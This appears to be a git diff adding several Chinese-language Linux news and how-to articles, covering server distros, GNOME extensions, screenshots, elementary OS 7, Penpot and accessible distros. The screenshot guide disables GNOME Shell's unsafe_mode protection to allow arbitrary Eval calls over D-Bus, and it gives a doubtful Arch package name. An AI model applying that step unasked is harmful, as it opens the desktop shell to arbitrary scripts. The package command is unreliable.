Cockpit 网络控制台。 + +Fedora 也十分快速稳定,而且相当安全,非常适合生产和企业工作负载,其新版本每 6 个月推送一次。 + +![][10] + +### 10、Fedora CoreOS + +最后一个是 Fedora CoreOS。这是一个专门为运行容器化应用程序和工作负载优化的最小操作系统。根据其主页,它自称是 “一个自动更新的最小操作系统,用于安全且大规模地运行容器化工作负载”。 + +通常情况下,它与 Podman 和 Docker 一起发行,并有三个版本,即 稳定版Stable测试版Testing下一版Next。你可以获得用于裸机服务器和虚拟化环境的镜像,以及由亚马逊网络服务(AWS)和谷歌云平台(GCP)等主要云提供商托管的云镜像。 + +### 结论 + +这是关于 Linux 服务器发行版最好的总结。希望你看完这个指南后能有所收获。对我们的指南有什么想法吗?非常欢迎你的反馈。 + +> LCTT 校注:此文并未提及主要由中国开发者/企业主导的企业级 Linux 发行版,在我看来,龙蜥操作系统(Anolis OS)、欧拉操作系统(openEuler)和统信 UOS 都具备相当优良的特性和可靠的支持,在选型时可以考虑。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/top-10-linux-distributions-for-servers/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.redhat.com/en +[2]: https://www.linuxtechi.com/wp-content/uploads/2019/10/Neofetch-Command-Output-RHEL-System.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Login-Screen-After-Ubuntu-Server-22-04-Installation.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2021/08/Login-screen-Debian11.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2018/09/openSUSE-Leap15-Installation-Option.jpg +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/07/neofetch-rockylinux9-post-installation.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2021/04/AlmaLinux8-Dashboard-After-Installation.jpg +[10]: https://www.linuxtechi.com/wp-content/uploads/2016/11/Fedora-Linux-Desktop.png +[0]: https://img.linux.net.cn/data/attachment/album/202302/13/092403ebp55xkbpukn9k33.jpg \ No newline at end of file diff --git a/published/202302/20230117.3 ⭐️ A ChatGPT GNOME Extension is in Development for Linux Users.md b/published/202302/20230117.3 ⭐️ A ChatGPT GNOME Extension is in Development for Linux Users.md new file mode 100644 index 0000000000..6562c25f1f --- /dev/null +++ b/published/202302/20230117.3 ⭐️ A ChatGPT GNOME Extension is in Development for Linux Users.md @@ -0,0 +1,77 @@ +[#]: subject: "A ChatGPT GNOME Extension is in Development for Linux Users" +[#]: via: "https://news.itsfoss.com/chatgpt-gnome-extension-development/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15498-1.html" + +一个正在开发中的 ChatGPT GNOME 扩展 +====== + +> 你想要一个人工智能的 GNOME 桌面吗?下面这个扩展可以实现这个功能! + +![A ChatGPT GNOME Extension is in Development for Linux Users][1] + +[ChatGPT][2] 是一个在当下十分流行的聊天机器人,它可以与用户进行互动,用户就像在对话一样。 + +最近,关于 ChatGPT 的新闻时常出现在人们的视野之中,有时是关于 ChatGPT 的坏消息。 + +不难看出,ChatGPT 有其两面性。事实上,对于任何人工智能的实现都同样如此。 + +一方面,ChatGPT 这一工具的巨大潜力给许多人留下了深刻的印象。但另一方面,因人们对它的滥用/误用,导致 ChatGPT 在科技界引起了轩然大波。 + +人们对 ChatGPT 滥用/误用太多了,以至于其创建者 [OpenAI][3] 开发了一种工具来检测 ChatGPT 的使用情况,这个内容可以进一步访问 [此网页](https://news.itsfoss.com/openai-chatgpt-detection/)。 + +现在,我注意到在一个 Reddit 讨论中,一位开发人员提到了一些有趣的事情。 + +一个用户名为 [HorrorPills][6] 的开发人员已经开始**为 ChatGPT 开发 GNOME 扩展**。 + +这听起来非常有趣,让我们继续来看看吧。 + +### 这个扩展仍在开发中:让我们持续保持关注吧! + +![chatgpt gnome extension][7] + +这是一个 GNOME 桌面扩展,将 ChatGPT 添加到了桌面的 系统托盘system tray 中。 + +现在,这个 GNOME 桌面扩展还处于未完成的状态,它已经具有了基本的功能,但仍存在一些错误。 + +正如它的开发者 [所说][8] 的那样: + +你需要有一个 **ChatGPT 帐户**,才能使用这个扩展程序,并且需要用到你的键盘,才能进行定位,因为现在这个扩展的光标功能还有很多问题。 + +此外,这个扩展**对 GNOME 43 的支持也很不完整**,他们提供了一个临时的修复程序,并将这个进一步完善的任务添加到此扩展的后续开发中。 + +如果你喜欢的话,你可以**试试这个扩展**。你可以通过它的 [GitHub 仓库][9],来获取运行它所需的所有说明和文件。 + +它的开发人员还 [表示][10]:当这个扩展变得更加稳定时,他们会将这个扩展发布到 **GNOME 扩展** [网站][11] 上去。 + +此外,开发人员还 [透露][12]:他们在未来可能会实现 **KDE Plasma 的 ChatGPT 扩展**。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/chatgpt-gnome-extension-development/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/chatgpt-gnome-extension.png +[2]: https://chat.openai.com +[3]: https://openai.com +[4]: https://news.itsfoss.com/content/images/size/w256h256/2022/08/android-chrome-192x192.png +[5]: https://news.itsfoss.com/content/images/2023/01/openai-to-detect-chatgpt-text.png +[6]: https://github.com/HorrorPills +[7]: https://news.itsfoss.com/content/images/2023/01/ChatGPT_GNOME_Ext.jpg +[8]: https://www.reddit.com/r/linux/comments/10ay23v/comment/j46yp15/ +[9]: https://github.com/HorrorPills/ChatGPT-Gnome-Desktop-Extension +[10]: https://www.reddit.com/r/linux/comments/10avlgs/comment/j4al4cg/ +[11]: https://extensions.gnome.org +[12]: https://www.reddit.com/r/linux/comments/10avlgs/comment/j48uofo/ diff --git a/published/202302/20230119.1 ⭐️ GNOME Screenshot Tool Old and New Methods.md b/published/202302/20230119.1 ⭐️ GNOME Screenshot Tool Old and New Methods.md new file mode 100644 index 0000000000..51da58de03 --- /dev/null +++ b/published/202302/20230119.1 ⭐️ GNOME Screenshot Tool Old and New Methods.md @@ -0,0 +1,144 @@ +[#]: subject: "GNOME Screenshot Tool: Old and New Methods" +[#]: via: "https://www.debugpoint.com/gnome-screenshot-tool-usage/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15512-1.html" + +GNOME 截图工具的新旧截图方式 +====== + +> 以下是关于 GNOME 截图工具的细节,它的用法、安装方法以及如何用新旧两种方式启动它们。 + +![][1] + +2022 年,GNOME 改变了其默认的截图工具,并将截图功能构建为 GNOME Shell 的一部分。它不再是一个独立的应用了。 + +早些时候,GNOME 为主要的 Linux 发行版,如 Ubuntu 和 Fedora,提供了一个原生的 GTK 应用 gnome-screenshot。然而,从 [GNOME 42][2] 开始,这个功能已经被移除。因此从 [Ubuntu 22.04][3] 和 Fedora 36 开始,你只能得到以下新的截图 UI 作为默认的截图工具。 + +这一变化从根本上破坏了许多工作流程。因为它不是一个你可以单独启动的可执行文件,你只能依赖键盘上的 `Print-Screen` 键。而且只能通过应用搜索找到它的快捷方式。 + +因此,在新的 GNOME 截图 UI 中捕捉延迟的屏幕截图变得更有挑战性。 + +下面是一些你仍然可以使用旧的 GNOME 截图工具的方法,以及如何手动触发新的截图 UI。 + +### GNOME 截图工具:如何安装旧版 GUI + +如果你使用的是 Ubuntu 22.04 及以上版本,或者任何基于 Ubuntu 的带有 GNOME 桌面的发行版,运行以下命令来安装它。 + +``` +sudo apt install gnome-screenshot +``` + +而对于 Fedora 用户,使用下面的命令。 + +``` +sudo dnf install gnome-screenshot +``` + +如果你在 Arch Linux 或者 Manjaro Linux 中使用 GNOME 桌面,那么使用下面的命令来安装它。 + +``` +pacman -S gnome-desktop +``` + +安装后,通过应用程序菜单启动它。 + +![GNOME 截图(旧)][4] + +![GNOME 截图主窗口(旧)][5] + +为了进一步定制,你可以打开设置,从 GNOME Shell 的新 UI 中移除 `Print-Screen` 的按键绑定,并通过以下命令创建一个自定义的键盘快捷方式: + +``` +gnome-screenshot --window <窗口> +gnome-screenshot --area <区域> +gnome-screenshot <全屏> +``` + +### GNOME 截图 UI:如何通过命令行手动触发它 + +当你从键盘上按下 `Print-Screen` 键时执行的功能是 [GNOME Shell 代码][6] 的一部分。不幸的是,它被保护在 dbus API 内,你不能直接调用它。 + +这样做是为了让你在 Wayland 下安全,这样就不会有任意的代码通过任何脚本获得对 dbus 调用函数的访问。 + +然而,这破坏了许多使用场景和人们多年来编写的脚本。例如,许多用户报告说 [Zoom][7] 在 GNOME-Wayland 下的视频会议通话 [中断][8] 就是因为这个原因,最终通过下面这个关闭安全模式的方法解决了这个问题。 + +让我们看看如何关闭它并触发 gnome-shell 的截图。 + +在使用下面的步骤之前,请谨慎行事。因为它可能会开放你的 GNOME Shell,让你任意访问脚本。请确保你知道你在做什么。 + +首先,你需要打开 [GNOME looking glass][9] 来关闭安全模式。 + +按 `ALT+F2` 并输入以下内容: + +``` +lg +``` + +![启动 looking glass][10] + +在顶部选择 “Evaluator”,在命令窗口中,输入以下内容。然后点击回车。 + +``` +global.context.unsafe_mode = true +``` + +![关闭安全模式][11] + +你应该看到一个响应,即它已被关闭。 + +![验证][12] + +现在按 `Esc` 键关闭 “looking glass”。并打开一个终端。 + +输入以下内容以启动截图工具: + +``` +gdbus call --session --dest org.gnome.Shell --object-path /org/gnome/Shell --method org.gnome.Shell.Eval 'Main.screenshotUI.open();' +``` + +你应该看到新的 GNOME Shell 截图被触发了。 + +![从 CLI 启动新的 GNOME Shell 截图 UI][13] + +如果你想关闭它,再次打开 `lg` 并将其设置为 `false`。 + +``` +global.context.unsafe_mode = false +``` + +### 结束语 + +从使用上来说,通过关闭安全模式,你仍然可以通过任何 shell 脚本使用新的截图功能。但不建议这样做。最好是使用旧的 GNOME 截图工具来避免所有的麻烦。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-screenshot-tool-usage/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2023/01/gnome-sc1-1.jpg +[2]: https://www.debugpoint.com/gnome-42/ +[3]: https://www.debugpoint.com/ubuntu-22-04-review/ +[4]: https://www.debugpoint.com/wp-content/uploads/2023/01/GNOME-Screenshot-old.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2023/01/GNOME-Screenshot-main-window-old.jpg +[6]: https://gitlab.gnome.org/GNOME/gnome-shell/-/blob/main/js/ui/screenshot.js#L2210 +[7]: https://www.debugpoint.com/zoom-install-linux-ubuntu-download/ +[8]: https://community.zoom.com/t5/Meetings/Wayland-screen-sharing-broken-with-GNOME-41-on-Fedora-35/m-p/22539 +[9]: https://wiki.gnome.org/Projects/GnomeShell/LookingGlass +[10]: https://www.debugpoint.com/wp-content/uploads/2023/01/Launch-looking-glass.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2023/01/Turn-off-safe-mode.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2023/01/Verification.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2023/01/Launch-new-GNOME-Shell-Screenshot-UI-from-CLI.jpg diff --git a/published/202302/20230131.0 ⭐️⭐️ elementary OS 7 is a Modest Upgrade With Useful Changes.md b/published/202302/20230131.0 ⭐️⭐️ elementary OS 7 is a Modest Upgrade With Useful Changes.md new file mode 100644 index 0000000000..5efb867a87 --- /dev/null +++ b/published/202302/20230131.0 ⭐️⭐️ elementary OS 7 is a Modest Upgrade With Useful Changes.md @@ -0,0 +1,158 @@ +[#]: subject: "elementary OS 7 is a Modest Upgrade With Useful Changes" +[#]: via: "https://news.itsfoss.com/elementary-os-7-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15506-1.html" + +elementary OS 7 发布 +====== + +> 在一年后,elementary OS 7 出现了,带来一些激动人心的微妙变化! + +![][0] + +elementary OS 6.1 是一个令人印象深刻的版本。终于,过去了一年,下一个主要的升级,elementary OS 7 “Horus” 来了。 + +这些变化可能不算大规模的翻新,正如以前 [报道][2],开发的重点更多的是在细化上。 + +### elementary OS 7:有什么新内容? + +主要的改进领域包括: + +- 应用中心AppCenter +- 应用程序和系统更新 +- 侧载/替代商店 +- 改进的初次安装体验 +- 应用程序的改进 + +#### 应用中心升级 + +![elementary os 7 appcenter][3] + +在每一次重大的升级中,应用中心AppCenter都得到了很大的重视。虽然它已经提供了完美的体验,但它变得越来越好了,更快的性能、更好的调整以适应不同屏幕分辨率或窗口大小。 + +应用的描述是这次的亮点。你可以一次看到应用程序的更多屏幕截图,让你对应用程序有更好的了解。 + +![elementary os 7 appcenter descriptions][4] + +这些图片还包括了图片说明,应该有助于视力有关的残疾用户访问应用程序页面。 + +从大的方面来说,屏幕截图融入到以应用程序的默认重点颜色为特色的背景中,看起来很不错。 + +此外,应用程序的描述也会给你提供更多关于该应用程序如何积极维护的信息,以及最近的发布说明。 + +#### 应用程序更新 + +![elementaryos 7 appcenter app updates][5] + +你现在可以选择切换是否要自动更新应用程序。 + +Flatpak 的首选项保持不变;你可以选择让它们自动更新,而不是手动检查。 + +此外,系统更新一旦下载并准备好,就会离线安装,可以给你一个顺滑的体验。 + +#### 第三方应用商店 + +elementaryOS 7 应用中心上的应用程序放在其独立的 Flatpak 软件仓库上。 + +然而,你仍然可以添加 Flathub 作为软件仓库,以获得更多的 Flatpak 应用程序。 + +为了告知你这一区别,应用中心会提到一些警告,如 “非策划的Non-Curated”,这样你就知道它是来自另一个应用商店。 + +![elementaryos 7 appcenter non-curated app warning][6] + +当你第一次尝试从第三方商店安装一个应用程序时,这样的弹出警告只会出现一次。 + +#### 支持网页应用程序 + +![Elementary os 7 web apps][7] + +该版本包括 GNOME Web 43,它支持创建网页应用程序,可在应用程序菜单中找到。 + +你可以在 GNOME Web 中管理所安装的网页应用程序。 + +#### 重新设计的图标 + +![elementaryos new icons][8] + +elementaryOS 已经被视作最漂亮的 Linux 发行版之一。 + +为了提升体验,几乎每一个应用程序的图标都被重新设计,以提供一个更现代和更有表现力的用户体验。 + +#### 安装和初次体验 + +![elementary os 7 primary mouse button prompt installation window][9] + +安装体验随着升级而变得更加直接了当。 + +换句话说,你在安装程序中的看到屏幕数量将减少,但仍然可以得到所有的基本信息,包括警告和系统要求。 + +安装程序现在可以提示你选择左键或右键设置为鼠标的主按钮。 + +![elementaryos automatic updates toggle onboarding screen][10] + +从系统主题偏好到自动更新,你可以在安装后直接配置所有必要的东西。 + +#### 新的音乐多媒体应用程序 + +![elementartyos music 7 app][11] + +为了提供更好的多媒体体验,该音乐应用程序已经从头开始完全重写,在各种使用情况下都能很好地工作。 + +你可以设置本地音乐位置、预览音频文件、获得正确的元数据信息,以及更多。 + +#### 其他变化 + +你会发现其他几个细微的改进。其中一些包括: + +- 邮件应用现在采用了更现代、更扁平的设计,以提高响应速度。 +- 邮件应用程序现在支持微软 365 账户。 +- 在任务应用中对新创建的任务列表的离线支持。 +- 在线账户设置包括对 CalDAV 账户的离线支持。 +- 切换选择文件夹,只需点击一下。 +- 重新设计的打印机设置。 +- 电源配置文件管理设置。 + +你可以参考 [官方公告][12] 了解更多细节。 + +### 下载 elementary OS 7 + +> 📋 当我尝试最新的 RC 构建版时,我的英伟达显卡驱动的系统启动时出现了一个反色的(看起来很奇怪)的彩色屏幕。这对最终版本来说可能不是一个问题。 + +你可以从 [官方网站][13] 上获取最新的 ISO。我希望他们能够为英伟达系统增加一个单独的 ISO,但对于其他系统,它应该可以正常工作。 + +> **[elementary OS 7][13]** + +另外,你必须得重新安装,而不是从 elementary OS 6 升级。在你继续安装之前,请查看其 [官方 FAQ][14]。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/elementary-os-7-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/elementary-os-7-release-ft.png +[2]: https://news.itsfoss.com/elementary-os-7-dev-updates/ +[3]: https://news.itsfoss.com/content/images/2023/01/appcenter-responsive.jpg +[4]: https://news.itsfoss.com/content/images/2023/01/appcenter-appinfo.png +[5]: https://news.itsfoss.com/content/images/2023/01/appcenter-updates.png +[6]: https://news.itsfoss.com/content/images/2023/01/appcenter-sideload.png +[7]: https://news.itsfoss.com/content/images/2023/01/web-apps.png +[8]: https://news.itsfoss.com/content/images/2023/01/icons-apps.png +[9]: https://news.itsfoss.com/content/images/2023/01/initialsetup-lefthand-elementaryos.png +[10]: https://news.itsfoss.com/content/images/2023/01/onboarding-updates.png +[11]: https://news.itsfoss.com/content/images/2023/01/elementary-music.jpg +[12]: https://blog.elementary.io/os-7-available-now/ +[13]: https://elementary.io +[14]: https://github.com/elementary/os/wiki/OS-7-Horus-FAQ +[0]: https://img.linux.net.cn/data/attachment/album/202302/03/171644noopjnzno5z4en2p.jpg \ No newline at end of file diff --git a/published/202302/20230131.2 ⭐️⭐️ Merge design and code with Penpot.md b/published/202302/20230131.2 ⭐️⭐️ Merge design and code with Penpot.md new file mode 100644 index 0000000000..f9ccbe673a --- /dev/null +++ b/published/202302/20230131.2 ⭐️⭐️ Merge design and code with Penpot.md @@ -0,0 +1,62 @@ +[#]: subject: "Merge design and code with Penpot" +[#]: via: "https://opensource.com/article/23/1/merge-design-code-penpot" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15549-1.html" + +用 Penpot 弥合设计和代码之间的鸿沟 +====== + +![][0] + +> 用 Penpot 这个开源的设计工作空间来弥合编程和设计之间的鸿沟。 + +在计算机编程的大部分历史中,在创建应用的代码的程序员和创建应用的用户体验(UX)的设计师之间一直存在着鸿沟。这两个学科接受的培训大不相同,他们使用的工具也不同。程序员使用文本编辑器或集成开发环境来编写代码,而设计师则经常绘制小部件布局和潜在交互的示意图。虽然一些 IDE,像 [Eclipse][1] 和 [Netbeans][2],有界面设计组件,但它们通常专注于小部件的位置而不是小部件的设计。开源设计应用 [Penpot][3] 是一个协作式设计和原型设计平台。它有一套新的功能,使设计师和开发者可以很容易地用熟悉的工作流程协同工作。Penpot 的设计界面可以让开发者在设计过程中和谐地编写代码,这是其他工具所无法做到的。自从我们 [上次介绍它][4] 以来,它已经有了长足的进步。它的最新功能不仅改善了你使用 Penpot 的体验,还推动了开源的 Penpot 应用超越类似的专有工具。 + +### 用 Penpot 做原型 + +在设计应用的最佳工作方式时,常见问题之一是在设计的时候这个应用还不存在。设计师可以通可视化和故事板来帮助设计团队和程序员了解目标是什么。但这是一个需要迭代和反馈的过程,当开发人员开始实施 UX 设计,设计会发生变化以应对对代码的实际变化。 + +使用 Penpot,你可以为你的网络或移动应用创建一个“可用”原型。你可以将按钮与特定的行动联系起来,根据用户的输入触发布局的变化。而这一切都可以在项目的代码存在之前完成。 + +但是,这方面最重要的不是模拟的能力。在 Penpot 中为应用的设计所做的一切都有可用的布局数据,开发人员可以在最终的项目中使用它们。Penpot 不仅仅是一个出色的绘图和布局工具。它为编码过程提供了信息。 + +Penpot 现在不仅仅是提供了一个设计师特定元素的视觉列表,如属性、颜色和排版,而是将代码输出直接整合到设计工作区(就像 Web 浏览器中的开发者工具)。设计师和开发人员共享设计和前端开发的相同空间,以他们需要的任何格式获得规格。 + +![Image of the current Penpot interface][5] + +### 内存解锁 + +许多在线设计工具使用专有技术来提供一些花哨的功能,但代价是基本上成为一个应用,你只能运行它,而不能通过浏览器访问。不过 Penpot 使用开放的网络标准,并由你的网络浏览器渲染。这意味着 Penpot 可以访问浏览器可用的最大内存,使得 Penpot 成为第一个具有设计扩展性的在线原型和布局应用。你可以提供更多的选项、更多的模型,和更多的场地。此外,你可以向更多的并发协作者开放你的设计空间,而不必担心应用的内存耗尽。 + +### 自我托管和 SaaS + +Penpot 是开源的,所以你不用必须在云上使用它,如果这不适合你的工作流程。你可以在一个容器中轻松地自我托管 Penpot,在你自己的工作站上作为一个本地应用使用,或者在你自己的服务器上为你的组织托管它。 + +### 开源设计 + +我以前写过一篇 [Penpot 的介绍性文章][6],自那以后,这个应用变得更好了。如果你想把程序员和相关人员带入你的设计过程中,那么请试试 Penpot。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/merge-design-code-penpot + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/12/eclipse +[2]: https://opensource.com/article/20/12/netbeans +[3]: http://penpot.app +[4]: https://opensource.com/article/21/9/open-source-design +[5]: https://opensource.com/sites/default/files/2022-07/Current%20Penpot%20interface.png +[6]: https://opensource.com/article/21/12/open-source-design-penpot +[0]: https://img.linux.net.cn/data/attachment/album/202302/17/143544u59tzeqplyhpt08h.jpg \ No newline at end of file diff --git a/published/202302/20230131.3 ⭐️⭐️ 5 Linux Distros for Visually Impaired People.md b/published/202302/20230131.3 ⭐️⭐️ 5 Linux Distros for Visually Impaired People.md new file mode 100644 index 0000000000..2c63bda89d --- /dev/null +++ b/published/202302/20230131.3 ⭐️⭐️ 5 Linux Distros for Visually Impaired People.md @@ -0,0 +1,143 @@ +[#]: subject: "5 Linux Distros for Visually Impaired People" +[#]: via: "https://itsfoss.com/visual-impaired-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15523-1.html" + +5 个适合视力障碍者的 Linux 发行版 +====== + +![][0] + +> 有哪些最适合视障用户的 Linux 发行版?让我们一起来看看。 + +如果有人视力障碍或失明,他们可能会依赖声音提示或其他交互方式(如盲文)来阅读和交流。 + +他们怎样才能使用 Linux 发行版? + +嗯,一般来说,无障碍软件有助于使之成为可能。 + +**但是,有哪些 Linux 发行版是注重无障碍性的?哪些是为视障用户量身定做的最佳发行版呢?** + +我在这里重点列出一些最好的选择。在此之前,在为视障用户尝试/推荐 Linux 之前,有一些必要的要点需要注意。 + +### Linux 是视障用户的理想选择吗? + +**不幸的是,并不太是**。 + +与 Windows 和 macOS 相比,Linux 上可用的无障碍软件/选择比较有限。 + +即使 [红帽公司去年聘请了一位盲人软件工程师][1] 来帮助改进,但这是一项正在进行的工作,可能体验还不够顺滑。 + +我看到一个一年前的 [Reddit 讨论][2],一个盲人用户分享了他在 Linux 上的无障碍状态的体验,听起来可能并不太顺利。 + +它**仍然是可用的,这取决于你想做什么**和你选择的发行版。 + +一些值得注意的地方包括: + +- 不是每个桌面环境都提供良好的无障碍功能。你可以探索和实验,但 GNOME 和 KDE 是可以接受的选择。 +- Linux 发行版中关于无障碍的文档可能并不全面。所以,你可能想在开始之前进行探索和研究。这里有 [GNOME][3] 和 [KDE][4] 文档的链接。 +- 你可以随时安装 [流行的 Linux 发行版][5],如 Ubuntu,并通过屏幕阅读器工具进行设置,以开始使用。 + +然而,有些发行版会给你带来开箱即用的良好体验,可能值得尝试。 + +下面是你的最佳选择: + +> 📋 该列表没有特定的排名顺序。 + +### 1、Accessible-Coconut(AC) + +![Accessible-Coconut 的主屏幕截图,带有蓝色壁纸和椰子图标][6] + +[Accessible-Coconut][7] 是一个基于 Ubuntu MATE 的、由社区开发的 Linux 操作系统。 + +安装后,你会发现使视力障碍者能够获得 Linux 体验的所有必要的工具或软件。 + +其中包括一个支持语音合成和盲文的屏幕阅读器、屏幕放大镜、控制台屏幕阅读器、电子书扬声器、一个支持 Daisy 格式的播放器等等。 + +其内置的软件以更好的无障碍性而闻名。所以,你可能不需要在安装操作系统后寻找替代品。 + +> **[Accessible Coconut][7]** + +### 2、Vojtux + +Vojtux 是一个基于 Fedora 的非官方发行版,由一位盲人软件工程师创建。 + +对于大多数用户来说,这是一个令人兴奋的选择,因为创建者知道视障用户需要什么。默认情况下,你在登录时就开始使用 Orca 屏幕阅读器,并启用 Qt 无障碍功能,这是一个为额外的语音合成和其他软件定制的库。 + +另外,有趣的是,你会发现一个可以快速打开和关闭显示器的脚本。 + +然而,你必须在安装前构建 立付Live 介质 ISO。因此,如果你没有这方面的技术知识,你可以问问周围的朋友,他们会愿意为你构建它。 + +你可以在它的 [GitHub 页面][8] 或其创造者的 [相关博文][9] 上了解更多信息。 + +> **[Vojtux GitHub][8]** + +### 3、Trisquel + +![Trisquel 的屏幕截图,其墙纸显示为绿色的山和太空][10] + +Trisquel 是一个基于 Ubuntu 的 Linux 发行版,采用 Linux-libre 内核。它是为家庭、办公室和教育机构定制的。 + +与其他一些选择不同,Trisquel 在默认情况下注重无障碍功能,比如启用了 Orca 屏幕阅读器。你可以在他们的网站上找到音频指南和支持屏幕阅读器的手册。 + +前往其 [官方网站][11],探索更多关于它的信息,并下载 ISO。 + +> **[Trisquel][11]** + +### 4、Ubuntu MATE + +![Ubuntu MATE 截图,欢迎屏幕提供了各种选项,以获得良好的开机体验][12] + +如果你想使用主流发行版,[Ubuntu MATE][13] 将很适合喜欢传统桌面用户体验的用户。 + +你可以找到预装的 Orca 屏幕阅读器和其他工具,给你一个良好的无障碍体验。 + +> **[Ubuntu MATE][13]** + +### 5、Fedora Workstation + +![Fedora 37 屏幕截图,带有绿草、岩石冒充的建筑的油漆风格的壁纸,中间有一条河][14] + +[Fedora Workstation][15] 是想要体验 GNOME 桌面环境的用户的最佳选择。 + +你会发现它安装了最新的 GNOME 桌面。因此,你很可能最终在 Fedora 上获得无障碍体验。 + +不要忘记,众所周知,Fedora 用户社区热衷于将无障碍性放在首位,并尽快修复任何报告的问题。 + +> **[Fedora Workstation][15]** + +💬 你的选择是什么?我们是否错过了任何其他选择?请在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/visual-impaired-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/red-hat-accessibility-gnome/ +[2]: https://www.reddit.com/r/linux/comments/s3vvot/state_of_accessibility_on_linux_perspective_of_a/ +[3]: https://wiki.gnome.org/Accessibility +[4]: https://community.kde.org/Accessibility +[5]: https://itsfoss.com/best-linux-distributions/ +[6]: https://itsfoss.com/content/images/2023/01/ac-distro-screenshot.jpg +[7]: https://zendalona.com/accessible-coconut/ +[8]: https://github.com/vojtapolasek/vojtux +[9]: https://opensource.com/article/22/9/linux-visually-impaired-users +[10]: https://itsfoss.com/content/images/2023/01/trisquel-distro-screenshot.jpg +[11]: https://trisquel.info/en +[12]: https://itsfoss.com/content/images/2023/01/ubuntu-mate-screenshot.jpg +[13]: https://ubuntu-mate.org +[14]: https://itsfoss.com/content/images/2023/01/image-31.png +[15]: https://getfedora.org/en/workstation/ +[0]: https://img.linux.net.cn/data/attachment/album/202302/08/233736xssinjunsujjcacs.jpg \ No newline at end of file diff --git a/published/202302/20230201.0 ⭐️⭐️ System76's Upcoming COSMIC Desktop is Gearing Up With Big Changes.md b/published/202302/20230201.0 ⭐️⭐️ System76's Upcoming COSMIC Desktop is Gearing Up With Big Changes.md new file mode 100644 index 0000000000..6ce59c3d79 --- /dev/null +++ b/published/202302/20230201.0 ⭐️⭐️ System76's Upcoming COSMIC Desktop is Gearing Up With Big Changes.md @@ -0,0 +1,159 @@ +[#]: subject: "System76's Upcoming COSMIC Desktop is Gearing Up With Big Changes" +[#]: via: "https://news.itsfoss.com/system76-pop-os-cosmic-de-changes/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15508-1.html" + +System76 即将推出的 COSMIC 桌面正在酝酿大变化 +====== + +> System76 介绍了其即将推出的由 Rust 开发的 COSMIC 桌面环境的开发细节。让我们来看看。 + +![System76 即将推出的 COSMIC 桌面正在酝酿大变化][1] + +Pop!_OS 的开发者们 [早在 2021 年][2] 